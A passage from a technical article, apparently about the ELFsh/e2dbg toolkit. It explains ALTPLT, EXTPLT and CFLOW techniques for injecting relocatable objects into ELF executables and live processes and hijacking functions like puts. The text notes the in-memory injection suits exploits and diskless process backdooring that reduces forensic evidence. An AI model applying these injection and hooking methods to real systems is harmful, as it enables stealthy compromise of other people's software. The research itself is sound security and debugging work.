Segments are extended the good way. We see this because of the correlation between SHT and PHT : all bounds are correct. the end. The .alt.plt.prolog section is there for implementing the ALTPLTv2 on ALPHA. This could will patch in runtime the first ALTPLT entry bytes with the first PLT entry bytes on the first time that ALTPLT first entry is called (when calling some original function from a hook function for the first time).

When we discovered how to do the ALTPLTv3 (without a line of assembly), then .alt.plt.prolog just became a padding section so that GOT and ALTGOT were well aligned on some size that was necessary for setting up ALTPLT because of the ALPHA instruction encoding of indirect control flow jumps.

---[D. EXTPLT technique : unknown function postlinking

This technique is one of the major one of the new ELFsh version. It works on ET_EXEC and ET_DYN files, including when the injection is done directly in memory. EXTPLT consists in adding a new section (.elfsh.extplt) so that we can add entries for new functions.

When coupled to .rel.plt, .got, .dynsym, and .dynstr mirroring extensions, it allows for placing relocation entries that match the needs of the new ALTPLT/ALTGOT couple. Let's look at the additional relocation information using the elfsh -r command.

First, let see the original binary relocation table:

```
 ========= BEGIN DUMP 24 =========

 [*] Object ./a.out has been loaded (O_RDONLY)

 [RELOCATION TABLES]
 [Object ./a.out]

 {Section .rel.dyn}
```

```
[000] R_386_GLOB_DAT  0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY      0x08049888 sym[004] : stdout

{Section .rel.plt}
[000] R_386_JMP_SLOT  0x08049860 sym[001] : fflush
[001] R_386_JMP_SLOT  0x08049864 sym[002] : puts
[002] R_386_JMP_SLOT  0x08049868 sym[003] : malloc
[003] R_386_JMP_SLOT  0x0804986C sym[005] : __libc_start_main
[004] R_386_JMP_SLOT  0x08049870 sym[006] : printf
[005] R_386_JMP_SLOT  0x08049874 sym[007] : free
[006] R_386_JMP_SLOT  0x08049878 sym[009] : read

[*] Object ./testsuite/etrel_inject/etrel_original/a.out unloaded

========= END DUMP 24 =========
```

Let’s now see the modified binary relocation tables:

```
========= BEGIN DUMP 25 =========

[*] Object fake_aout has been loaded (O_RDONLY)

[RELOCATION TABLES]
[Object ./fake_aout]

{Section .rel.dyn}
[000] R_386_GLOB_DAT  0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY      0x08049888 sym[004] : stdout

{Section .rel.plt}
[000] R_386_JMP_SLOT  0x0804A8A0 sym[001] : fflush
[001] R_386_JMP_SLOT  0x0804A8A4 sym[002] : puts
[002] R_386_JMP_SLOT  0x0804A8A8 sym[003] : malloc
[003] R_386_JMP_SLOT  0x0804A8AC sym[005] : __libc_start_main
[004] R_386_JMP_SLOT  0x0804A8B0 sym[006] : printf
[005] R_386_JMP_SLOT  0x0804A8B4 sym[007] : free
[006] R_386_JMP_SLOT  0x0804A8B8 sym[009] : read

{Section .elfsh.reldyn}
[000] R_386_GLOB_DAT  0x08049850 sym[010] : __gmon_start__
[001] R_386_COPY      0x08049888 sym[004] : stdout

{Section .elfsh.relplt}
[000] R_386_JMP_SLOT  0x0804A8A0 sym[001] : fflush
[001] R_386_JMP_SLOT  0x0804A8A4 sym[002] : puts
[002] R_386_JMP_SLOT  0x0804A8A8 sym[003] : malloc
[003] R_386_JMP_SLOT  0x0804A8AC sym[005] : __libc_start_main
[004] R_386_JMP_SLOT  0x0804A8B0 sym[006] : printf
[005] R_386_JMP_SLOT  0x0804A8B4 sym[007] : free
[006] R_386_JMP_SLOT  0x0804A8B8 sym[009] : read
[007] R_386_JMP_SLOT  0x0804A8BC sym[011] : _IO_putc
[008] R_386_JMP_SLOT  0x0804A8C0 sym[012] : write

[*] Object fake_aout unloaded

=========  END DUMP 25 =========
```

As you see, _IO_putc (internal name for putchar) and write functions has been used in the injected object. We had to insert them inside the host binary so that the output binary can work.

The .elfsh.relplt section is copied from the .rel.plt section but with a doubled size so that we have room for additional entries. Even if we extend only one of the relocation table, both tables needs to be copied, because on ET_DYN files, the rtld will assume that both tables

are adjacent in memory, so we cannot just copy .rel.plt
but also need to keep .rel.dyn (aka .rel.got) near the
.rel.plt copy. That is why you can see with .elfsh.reldyn
and .elfsh.relplt .

When extra symbols are needed, more sections are moved
after the BSS, including .dynsym and .dynstr.

---[E. IA32, SPARC32/64, ALPHA64, MIPS32 compliant algorithms

Let’s now give all algorithms details about the techniques we introduced by the practice in the previous paragraphs. We cover here all pseudos algorithms for ELF redirections. More constrained debugging detailed algorithms are given at the end of the next part.

Because of ALTPLT and ALTGOT techniques are so complementary, we implemented them inside only one algorithm that we give now. There is no conditions on the SPARC architecture since it is the default architecture case in the listing.

The main ALTPLTv3 / ALTGOT algorithm (libelfsh/altplt.c) can be found in elfsh_build_plt() and elfsh_relink_plt(), is as follow.

It could probably be cleaned if all the code go in architecture dependant handlers but that would duplicate some code, so we keep it like this :

```
Multiarchitecture ALTPLT / ALTGOT algorithm
+-------------------------------------------+

0/ IF [ ARCH is MIPS AND PLT is not found AND File is dynamic ]
   [
      - Get .text section base address
      - Find MIPS opcodes fingerprint for embedded PLT
        located inside .text
      - Fixup SHT to include PLT section header
   ]

1/ SWITCH on ELF architecture
[
   MIPS:
      * Insert mapped .elfsh.gotprolog section
      * Insert mapped .elfsh.padgot section
   ALPHA:
      * Insert mapped .elfsh.pltprolog section
   DEFAULT:
      * Insert mapped .elfsh.altplt section (copy of .plt)
]

2/ IF [ ARCH is (MIPS or ALPHA or IA32) ]
[
      * Insert .elfsh.altgot section (copy of .got)
]

3/ FOREACH (ALT)PLT ENTRY:
[
      IF [ FIRST PLT entry ]
      [
         IF [ARCH is MIPS ]
         [
              * Insert pairs of ld/st instructions in
                .elfsh.gotprolog for copying extern variables
                addresses fixed in GOT by the RTLD inside
                ALTGOT section. See MIPS altplt handler
                in libelfsh/mips32.c
         ]
```

```
          ELSE IF [ ARCH is IA32 ]
          [
               * Reencode the first PLT entry using GOT - ALTGOT
                 address difference (so we relocate into ALTGOT
                 instead of GOT)
          ]
       ]

       IF [ ARCH is MIPS ]
          * Inject OLD symbol on current PLT entry
       ELSE
          * Inject OLD symbol on current ALTPLT entry

       IF [ ARCH is ALPHA ]
          * Shift relocation entry pointing at current location

       IF [ ARCH is IA32 ]
          * Reencode PLT and ALTPLT current entry
 ]

 4/ SWITCH on ELF architecture
 [
      MIPS:
      IA32:
        * Change DT_PLTGOT entry from GOT to ALTGOT address
        * Shift GOT related relocation
      SPARC:
        * Change DT_PLTGOT entry from PLT to ALTPLT address
        * Shift PLT related relocations
 ]
```

On MIPS, there is no relocation tables inside ET_EXEC binaries. If we want to shift the relocations that make reference to GOT inside the MIPS code, we need to fingerprint such code patterns so that we fix them using the ALTGOT - GOT difference. They are easily found since the needed patches are always on the same binary instructions pattern :

```
3c1c0000        lui     gp,0x0
279c0000        addiu   gp,gp,0
```

The zero fields in those instructions should be patched at linking time when they match HI16 and LO16 MIPS relocations. However this information is not available in a table for ET_EXEC files, so we had to find them back in the binary code. It way easier to do this on RISC architectures since all instructions are the same length so false positives are very unlikely to happen. Once we found all those patterns, we fix them using the ALTGOT-GOT difference in the relocatable fields. Of course, we wont change ALL references to GOT inside the code, because that would result in just moving the GOT without performing any hijack. We just fix those references in the first 0x100 bytes of .text, and in .init, .fini, that means only the references at the reserved GOT entries (filled with dl-resolve virtual address and linkmap address). That way, we make the original code use the ALTGOT section when accessing reserved entries (since they have been runtime relocated in ALTGOT and not GOT) and the original GOT entries when accessing the function entries (so that we can hijack functions using GOT modification).

EXTPLT algorithm
+----------------+

The EXTPLT algorithm fits well in the previous algorithm. We just needed to add 2 steps in the previous listing :

```
 Step 2 BIS : Insert the EXTPLT (copy of PLT) section on
              supported architectures.

 Step 5     : Mirror (and extend) dynamic linking sections on
              supported architectures. Let's give more details
              about this algorithm implemented in
              libelfsh/extplt.c.

 * Mirror .rel.got (.rel.dyn) and .rel.plt sections after BSS,
 with a double sized mirror sections. Those 2 sections needs to
 stay adjacent in memory so that EXTPLT works on ET_DYN objects
 as well.

 * Update DT_REL and DT_JMPREL entries in .dynamic

 * Mirror .dynsym and .dynstr sections with a double size

 * Update DT_SYMTAB and DT_STRTAB entries in .dynamic

 Once those operations are done, we have room in all the various
 dynamic linking oriented sections and we can add on-demand
 dynamic symbols, symbols names, and relocation entry necessary
 for adding extra PLT entries in the EXTPLT section.

 Then, each time we encounter a unknown symbol in the process of
 relocating a ET_REL object inside a ET_EXEC or ET_DYN object,
 we can use the REQUESTPLT algorithm, as implemented in
 elfsh_request_pltent() function in the libelfsh/extplt.c file :

 * Check room in EXTPLT, RELPLT, DYNSYM, DYNSTR, and
 ALTGOT sections.

 * Initialize ALTGOT entry to EXTPLT allocated new entry.

 * Encode EXTPLT entry for using the ALTGOT entry.

 * Insert relocation entry inside .elfsh.relplt for ALTGOT
 new entry.

 * Add relocation entry size to DT_PLTRELSZ entry value in
 .dynamic section.

 * Insert missing symbol in .elfsh.dynsym, with name inserted in
 .elfsh.dynstr section.

 * Add symbol name length to DT_STRSZ entry value in .dynamic
 section.

 This algorithm is called from the main ET_REL injection and
 relocation algorithm each time the ET_REL object use an unknown
 function whoose symbol is not present in the host file. The
 new ET_REL injection algorithm is given at the end of the
 constrained debugging part of the article.


 CFLOW algorithm
+----------------+

This technique is implemented using an architecture dependant
backend but the global algorithm stays the same for all
architectures :

- Create .elfsh.hooks sections (only 1 time)
- Find number of bytes aligned on instruction size :
       * Using libasm on IA32
       * Manually on RISC machines
- Insert HOOK entry on demand (see CFLOW dump for format)
- Insert JMP to hook entry in hijacked function prolog
- Align JUMP hook on instruction size with NOP in hijacked prolog
```

- Insert hook_funcname and old_funcname symbols in hook entry for
  beeing able to call back the original function.

The technique is PaX safe since it does not need any runtime bytes restoration step. We can hook the address of our choice using the CFLOW technique, however executing the original bytes in the hook entry instead of their original place will not work when placing hooks on relative branching instructions. Indeed, relatives branching will be resolved to a wrong virtual address if we execute their opcodes at the wrong place (inside .elfsh.hooks instead of their original place) inside the process. Remember this when placing CFLOW hooks : it is not intended to hook relative branch instructions.

-------[V. Constrained Debugging

In nowadays environment, hardened binaries are usually of type ET_DYN. We had to support this kind of injection since it allows for library files modification as much powerful as the the executable files modification. Moreover some distribution comes with a default binary set compiled in ET_DYN, such as hardened gentoo.

Another improvement that we wanted to be done is the ET_REL relocation in memory. The algorithm for it is the same than the ondisk injection, but this time the disk is not changed so it reduces forensics evidences like in [12]. It is believed that this kind of injection can be used in exploits and direct process backdooring without touching the hard disk. Evil eh ?

We are aware of another implementation of the ET_REL injection into memory [10]. Ours supports a wider range of architecture and couples with the EXTPLT technique directly in memory, which was not previously implemented to our knowledge.

A last technique that we wanted to develop was about extending and debugging static executables. We developed this new technique that we called EXTSTATIC algorithm. It allows for static injections by taking parts of libc.a when functions or code is missing. The same ET_REL injection algorithm is used except that more than one relocatable file taken from libc.a is injected at a time using a recursive dependency algorithm.

---[A. ET_REL relocation in memory

Because we want to be able to provide a handler for breakpoints as they are specified, we allow for direct mapping of an ET_REL object into memory. We use extra mmap zone for this, always taking care that it does not break PaX : we do not map any zone beeing both executable and writable.

In e2dbg, breakpoints can be implemented in 2 ways. Either an architecture specific opcode (like 0xCC on IA32) is used on the desired redirected access, or the CFLOW/ALTPLT primitives can be used in runtime. In the second case, the mprotect system call must be used to be able to modify code at runtime. However we may be able to get rid of mprotect soon for runtime injections as the CFLOW techniques improves for beeing both static and runtime PaX safe.

Let's look at some simple binary that does just use printf and and puts to understand more those concepts:

```
========= BEGIN DUMP 26 =========

elfsh@WTH $ ./a.out
[host] main argc 1
[host] argv[0] is : ./a.out

First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !
========= END DUMP 26 =========
```

We use a small elfsh script as e2dbg so that it creates another file with the debugger injected inside it, using regular elfsh techniques. Let’s look at it :

```
========= BEGIN DUMP 27 =========
elfsh@WTH $ cat inject_e2dbg.esh
#!../../vm/elfsh
load a.out
set 1.dynamic[08].val 0x2                      # entry for DT_DEBUG
set 1.dynamic[08].tag DT_NEEDED
redir main e2dbg_run
save a.out_e2dbg
========= END DUMP 27 =========
```

We then execute the modified binary.

```
========= BEGIN DUMP 28 =========

elfsh@WTH $ ./aout_e2dbg


        The Embedded ELF Debugger 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

[*] Sun Jul 31 16:24:00 2005 - New object ./a.out_e2dbg loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 16:24:00 2005 - New object ./ibc.so.6 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/ld-linux.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libelfsh.so loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libreadline.so.5 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libtermcap.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libdl.so.2 loaded
[*] Sun Jul 31 16:24:00 2005 - New object /lib/libncurses.so.5 loaded

(e2dbg-0.65) quit

        [..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg

First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !
```

```
 elfsh@WTH $

========= END DUMP 28 =========
```

Okay, that was easy. What if we want to do something more interresting like ET_REL object injection into memory. We will make use of the profile command so that we can see the autoprofiling feature of e2dbg. This command is always useful to learn more about the internals of the debugger, and for internal debugging problems that may occur while developping it.

Our cheap function calls pattern matching makes the output more understandable than a raw print of profiling information and took only a few hours to implement using the ELFSH_PROFILE_{OUT,ERR,ROUT} macros in libelfsh-internals.h and libelfsh/error.c

We will also print the linkmap list. The linkmap first fields are OS independant. There are a lot of other internal fields that we do not display here but a lot of information could be grabbed from there as well.

See the stuff in action :

```
 ========= BEGIN DUMP 29 =========

 elfsh@WTH $ ./a.out_e2dbg

         The Embedded ELF Debugger 0.65 (32 bits built) .::.

         .::. This software is under the General Public License V.2
         .::. Please visit http://www.gnu.org

 [*] Sun Jul 31 16:12:48 2005 - New object ./a.out_e2dbg loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/tls/libc.so.6 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object ./ibc.so.6 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/ld-linux.so.2 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/libelfsh.so loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/libreadline.so.5 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/libtermcap.so.2 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/libdl.so.2 loaded
 [*] Sun Jul 31 16:12:48 2005 - New object /lib/libncurses.so.5 loaded

 (e2dbg-0.65) linkmap

 .::. Linkmap entries .::.
 [01] addr : 0x00000000 dyn : 0x080497D4 -
 [02] addr : 0x00000000 dyn : 0xFFFFE590 -
 [03] addr : 0xB7E73000 dyn : 0xB7F9AD3C - /lib/tls/libc.so.6
 [04] addr : 0xB7E26000 dyn : 0xB7E6F01C - ./ibc.so.6
 [05] addr : 0xB7FB9000 dyn : 0xB7FCFF14 - /lib/ld-linux.so.2
 [06] addr : 0xB7DF3000 dyn : 0xB7E24018 - /lib/libelfsh.so
 [07] addr : 0xB7DC6000 dyn : 0xB7DEE46C - /lib/libreadline.so.5
 [08] addr : 0xB7DC2000 dyn : 0xB7DC5BB4 - /lib/libtermcap.so.2
 [09] addr : 0xB7DBE000 dyn : 0xB7DC0EEC - /lib/libdl.so.2
 [10] addr : 0xB7D7C000 dyn : 0xB7DBB1C0 - /lib/libncurses.so.5

 (e2dbg-0.65) list

 .::. Working files .::.
 [001] Sun Jul 31 16:24:00 2005  D ID: 9 /lib/libncurses.so.5
 [002] Sun Jul 31 16:24:00 2005  D ID: 8 /lib/libdl.so.2
 [003] Sun Jul 31 16:24:00 2005  D ID: 7 /lib/libtermcap.so.2
 [004] Sun Jul 31 16:24:00 2005  D ID: 6 /lib/libreadline.so.5
 [005] Sun Jul 31 16:24:00 2005  D ID: 5 /lib/libelfsh.so
 [006] Sun Jul 31 16:24:00 2005  D ID: 4 /lib/ld-linux.so.2
 [007] Sun Jul 31 16:24:00 2005  D ID: 3 ./ibc.so.6
```

```
[008] Sun Jul 31 16:24:00 2005  D ID: 2 /lib/tls/libc.so.6
[009] Sun Jul 31 16:24:00 2005 *D ID: 1 ./a.out_e2dbg

.::. ELFsh modules .::.
[*] No loaded module

(e2dbg-0.65) source ./etrelmem.esh

~load myputs.o

[*] Sun Jul 31 16:13:32 2005 - New object myputs.o loaded

[!!] Loaded file is not the linkmap, switching to STATIC mode

~switch 1

[*] Switched on object 1 (./a.out_e2dbg)

~mode dynamic

[*] e2dbg is now in DYNAMIC mode

~reladd 1 10

[*] ET_REL myputs.o injected succesfully in ET_EXEC ./a.out_e2dbg

~profile
        .:: Profiling enable

+ <vm_print_actual@loop.c:38>
~redir puts myputs
+ <vm_implicit@implicit.c:91>
+ <cmd_hijack@fcthijack.c:19>
+ <elfsh_get_metasym_by_name@sym_common.c:283>
+ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
+ <elfsh_get_dynsymtab@dynsym.c:87>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_dynsymbol_name@dynsym.c:17>
[W]     <elfsh_get_dynsymbol_by_name@dynsym.c:274>      Symbol not found
[P] --[ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --- Last 2 function(s) recalled 12 time(s) ---
+ <elfsh_get_symbol_by_name@symbol.c:236>
+ <elfsh_get_symtab@symbol.c:110>
+ <elfsh_get_symbol_name@symbol.c:20>
[P] --[ <elfsh_get_symbol_name@symbol.c:20>
[P] --- Last 1 function(s) recalled 114 time(s) ---
+ <elfsh_hijack_function_by_name@hijack.c:25>
+ <elfsh_setup_hooks@hooks.c:199>
+ <elfsh_get_pagesize@hooks.c:783>
+ <elfsh_get_archtype@hooks.c:624>
+ <elfsh_get_arch@elf.c:179>
+ <elfsh_copy_plt@altplt.c:525>
+ <elfsh_static_file@elf.c:491>
+ <elfsh_get_segment_by_type@pht.c:215>
+ <elfsh_get_pht@pht.c:364>
+ <elfsh_get_segment_type@pht.c:174>
[P] --[ <elfsh_get_segment_type@pht.c:174>
[P] --- Last 1 function(s) recalled 4 time(s) ---
+ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_relink_plt@altplt.c:121>
+ <elfsh_get_archtype@hooks.c:624>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_relink_plt@altplt.c:121>
[P] --[ <elfsh_get_archtype@hooks.c:624>
[P] --- Last 3 function(s) recalled 1 time(s) ---
```

```
+ <elfsh_get_elftype@hooks.c:662>
+ <elfsh_get_objtype@elf.c:204>
+ <elfsh_get_ostype@hooks.c:709>
+ <elfsh_get_real_ostype@hooks.c:679>
+ <elfsh_get_interp@interp.c:41>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_section_by_name@section.c:168>
+ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_symbol_by_name@symbol.c:236>
+ <elfsh_get_symtab@symbol.c:110>
+ <elfsh_get_symbol_name@symbol.c:20>
[W]     <elfsh_get_symbol_by_name@symbol.c:253>         Symbol not found
[P] --[ <elfsh_get_symbol_name@symbol.c:20>
[P] --- Last 1 function(s) recalled 114 time(s) ---
+ <elfsh_is_pltentry@plt.c:73>
[W]     <elfsh_is_pltentry@plt.c:77>                Invalid NULL parameter
+ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
+ <elfsh_get_dynsymtab@dynsym.c:87>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --[ <elfsh_is_pltentry@plt.c:73>
[P] --[ <elfsh_get_dynsymbol_by_name@dynsym.c:255>
[P] --[ <elfsh_get_dynsymtab@dynsym.c:87>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_get_dynsymbol_name@dynsym.c:17>
[P] --- Last 5 function(s) recalled 1 time(s) ---
+ <elfsh_get_plt@plt.c:16>
+ <elfsh_is_plt@plt.c:49>
+ <elfsh_get_section_name@sht.c:474>
+ <elfsh_is_altplt@plt.c:62>
[P] --[ <elfsh_is_plt@plt.c:49>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_is_altplt@plt.c:62>
[P] --- Last 3 function(s) recalled 3 time(s) ---
+ <elfsh_get_anonymous_section@section.c:334>
+ <elfsh_get_raw@section.c:691>
[P] --[ <elfsh_is_plt@plt.c:49>
[P] --[ <elfsh_get_section_name@sht.c:474>
[P] --[ <elfsh_is_altplt@plt.c:62>
[P] --[ <elfsh_get_anonymous_section@section.c:334>
[P] --[ <elfsh_get_raw@section.c:691>
[P] --- Last 5 function(s) recalled 44 time(s) ---
+ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --- Last 1 function(s) recalled 1 time(s) ---
+ <elfsh_hijack_plt_ia32@ia32.c:258>
+ <elfsh_get_foffset_from_vaddr@raw.c:85>
+ <elfsh_get_pltentsz@plt.c:94>
[P] --[ <elfsh_get_arch@elf.c:179>
[P] --[ <elfsh_hijack_plt_ia32@ia32.c:258>
[P] --[ <elfsh_get_foffset_from_vaddr@raw.c:85>
[P] --[ <elfsh_get_pltentsz@plt.c:94>
[P] --- Last 4 function(s) recalled 1 time(s) ---
+ <elfsh_munprotect@runtime.c:97>
+ <elfsh_get_parent_section@section.c:380>
+ <elfsh_get_parent_segment@pht.c:304>
+ <elfsh_segment_is_readable@pht.c:14>
+ <elfsh_segment_is_writable@pht.c:21>
+ <elfsh_segment_is_executable@pht.c:28>
+ <elfsh_raw_write@raw.c:22>
+ <elfsh_get_parent_section_by_foffset@section.c:416>
+ <elfsh_get_sht@sht.c:159>
+ <elfsh_get_section_type@sht.c:887>
+ <elfsh_get_anonymous_section@section.c:334>
```

```
+ <elfsh_get_raw@section.c:691>
+ <elfsh_raw_write@raw.c:22>
+ <elfsh_get_parent_section_by_foffset@section.c:416>
+ <elfsh_get_sht@sht.c:159>
+ <elfsh_get_section_type@sht.c:887>
+ <elfsh_get_anonymous_section@section.c:334>
+ <elfsh_get_raw@section.c:691>
+ <elfsh_get_pltentsz@plt.c:94>
+ <elfsh_get_arch@elf.c:179>
+ <elfsh_mprotect@runtime.c:135>

[*] Function puts redirected to addr 0xB7FB6000 <myputs>

+ <vm_print_actual@loop.c:38>
~profile
+ <vm_implicit@implicit.c:91>
        .:: Profiling disable


[*] ./etrelmem.esh sourcing -OK-

(e2dbg-0.65) continue


        [..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg

First_printf test
Hijacked puts !!! arg = First_puts
First_puts
Second_printf test
Hijacked puts !!! arg = Second_puts
Second_puts
Hijacked puts !!! arg = LEGIT FUNC
LEGIT FUNC
legit func (test) !
elfsh@WTH $

========= END DUMP 29 =========
```

Really cool. We hijacked 2 functions (puts and legit_func) using the 2 different (ALTPLT and CFLOW) techniques. For this, we did not have to inject an additional ET_REL file inside the ET_EXEC host, but we directly injected the hook module inside memory using mmap.

We could have printed the SHT and PHT as well just after the ET_REL injection into memory. We keep track of all mapping when we inject such relocatable objects, so that we can eventually unmap them in the future or remap them later :

```
========= BEGIN DUMP 30 =========

(e2dbg-0.65) s

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object ./a.out_e2dbg]

[000] 0x00000000 -------                            foff:00000 size:00308
[001] 0x08045134 a-x---- .elfsh.hooks               foff:00308 size:00015
[002] 0x08046134 a-x---- .elfsh.extplt              foff:04404 size:00032
[003] 0x08047134 a-x---- .elfsh.altplt              foff:08500 size:04096
[004] 0x08048134 a------ .interp                    foff:12596 size:00019
[005] 0x08048148 a------ .note.ABI-tag              foff:12616 size:00032
[006] 0x08048168 a------ .hash                      foff:12648 size:00064
```

```
[007] 0x080481A8 a------ .dynsym                    foff:12712 size:00176
[008] 0x08048258 a------ .dynstr                    foff:12888 size:00112
[009] 0x080482C8 a------ .gnu.version               foff:13000 size:00022
[010] 0x080482E0 a------ .gnu.version_r             foff:13024 size:00032
[011] 0x08048300 a------ .rel.dyn                   foff:13056 size:00016
[012] 0x08048310 a------ .rel.plt                   foff:13072 size:00056
[013] 0x08048348 a-x---- .init                      foff:13128 size:00023
[014] 0x08048360 a-x---- .plt                       foff:13152 size:00128
[015] 0x08048400 a-x---- .text                      foff:13312 size:00800
[016] 0x08048720 a-x---- .fini                      foff:14112 size:00027
[017] 0x0804873C a------ .rodata                    foff:14140 size:00185
[018] 0x080487F8 a------ .eh_frame                  foff:14328 size:00004
[019] 0x080497FC aw----- .ctors                     foff:14332 size:00008
[020] 0x08049804 aw----- .dtors                     foff:14340 size:00008
[021] 0x0804980C aw----- .jcr                       foff:14348 size:00004
[022] 0x08049810 aw----- .dynamic                   foff:14352 size:00200
[023] 0x080498D8 aw----- .got                       foff:14552 size:00004
[024] 0x080498DC aw----- .got.plt                   foff:14556 size:00040
[025] 0x08049904 aw----- .data                      foff:14596 size:00012
[026] 0x08049910 aw----- .bss                       foff:14608 size:00008
[027] 0x08049918 aw----- .elfsh.altgot              foff:14616 size:00044
[028] 0x08049968 aw----- .elfsh.dynsym              foff:14696 size:00192
[029] 0x08049AC8 aw----- .elfsh.dynstr              foff:15048 size:00122
[030] 0x08049BA8 aw----- .elfsh.reldyn              foff:15272 size:00016
[031] 0x08049BB8 aw----- .elfsh.relplt              foff:15288 size:00064
[032] 0x00000000 ------- .comment                   foff:15400 size:00665
[033] 0x00000000 ------- .debug_aranges             foff:16072 size:00120
[034] 0x00000000 ------- .debug_pubnames            foff:16192 size:00042
[035] 0x00000000 ------- .debug_info                foff:16234 size:06904
[036] 0x00000000 ------- .debug_abbrev              foff:23138 size:00503
[037] 0x00000000 ------- .debug_line                foff:23641 size:00967
[038] 0x00000000 ------- .debug_frame               foff:24608 size:00076
[039] 0x00000000 ---ms-- .debug_str                 foff:24684 size:08075
[040] 0x00000000 ------- .debug_macinfo             foff:32759 size:29295
[041] 0x00000000 ------- .shstrtab                  foff:62054 size:00496
[042] 0x00000000 ------- .symtab                    foff:64473 size:02256
[043] 0x00000000 ------- .strtab                    foff:66729 size:01665
[044] 0x40019000 aw----- myputs.o.bss               foff:68394 size:04096
[045] 0x00000000 ------- .elfsh.rpht                foff:72493 size:04096
[046] 0x4001A000 a-x---- myputs.o.text              foff:76589 size:04096
[047] 0x4001B000 a--ms-- myputs.o.rodata.str1.1     foff:80685 size:04096

(e2dbg-0.65) p

[Program Header Table .::. PHT]
[Object ./a.out_e2dbg]

[00] 0x08045034 -> 0x08045134 r-x memsz(00256) filesz(00256)
[01] 0x08048134 -> 0x08048147 r-- memsz(00019) filesz(00019)
[02] 0x08045000 -> 0x080487FC r-x memsz(14332) filesz(14332)
[03] 0x080497FC -> 0x08049C30 rw- memsz(01076) filesz(01068)
[04] 0x08049810 -> 0x080498D8 rw- memsz(00200) filesz(00200)
[05] 0x08048148 -> 0x08048168 r-- memsz(00032) filesz(00032)
[06] 0x00000000 -> 0x00000000 rw- memsz(00000) filesz(00000)
[07] 0x00000000 -> 0x00000000 --- memsz(00000) filesz(00000)

[SHT correlation]
[Object ./a.out_e2dbg]

[*] SHT is not stripped

[00] PT_PHDR
[01] PT_INTERP          .interp
[02] PT_LOAD            .elfsh.hooks .elfsh.extplt .elfsh.altplt .interp
                        .note.ABI-tag .hash .dynsym .dynstr .gnu.version
                        .gnu.version_r .rel.dyn .rel.plt .init .plt
                        .text .fini .rodata .eh_frame
[03] PT_LOAD            .ctors .dtors .jcr .dynamic .got .got.plt .data
                        .bss .elfsh.altgot .elfsh.dynsym .elfsh.dynstr
                        .elfsh.reldyn .elfsh.relplt
```

```
 [04] PT_DYNAMIC        .dynamic
 [05] PT_NOTE           .note.ABI-tag
 [06] PT_GNU_STACK
 [07] PT_PAX_FLAGS

 [Runtime Program Header Table .::. RPHT]
 [Object ./a.out_e2dbg]

 [00] 0x40019000 -> 0x4001A000 rw- memsz(4096) filesz(4096)
 [01] 0x4001A000 -> 0x4001B000 r-x memsz(4096) filesz(4096)
 [02] 0x4001B000 -> 0x4001C000 r-x memsz(4096) filesz(4096)

 [SHT correlation]
 [Object ./a.out_e2dbg]

 [*] SHT is not stripped

 [00] PT_LOAD           myputs.o.bss
 [01] PT_LOAD           myputs.o.text
 [02] PT_LOAD           myputs.o.rodata.str1.1

 (e2dbg-0.65)


 ========= BEGIN DUMP 30 =========
```

Our algorithm is not really optimized since it allocates a new PT_LOAD by section. Here, we created a new table RPHT (Runtime PHT) which handle the list of all runtime injected pages. This table has no legal existance in the ELF file, but that avoid to extend the real PHT with additional runtime memory areas. The technique does not break PaX since all zones are allocated using the strict necessary rights. However, if you want to redirect existing functions on the newly injected functions from myputs.o, then you will have to change some code in runtime, and then it becomes necessary to disable mprotect option to avoid breaking PaX.

---[B. ET_REL relocation into ET_DYN

We ported the ET_REL injection and the EXTPLT technique to ET_DYN files. The biggest difference is that ET_DYN files have a relative address space ondisk. Of course, stripped binaries have no effect on our algorithms and we dont need any non-mandatory information such as debug sections or anything (it may be obvious but some peoples really asked this).

Let’s see what happens on this ET_DYN host file:

```
 ========= BEGIN DUMP 31 =========

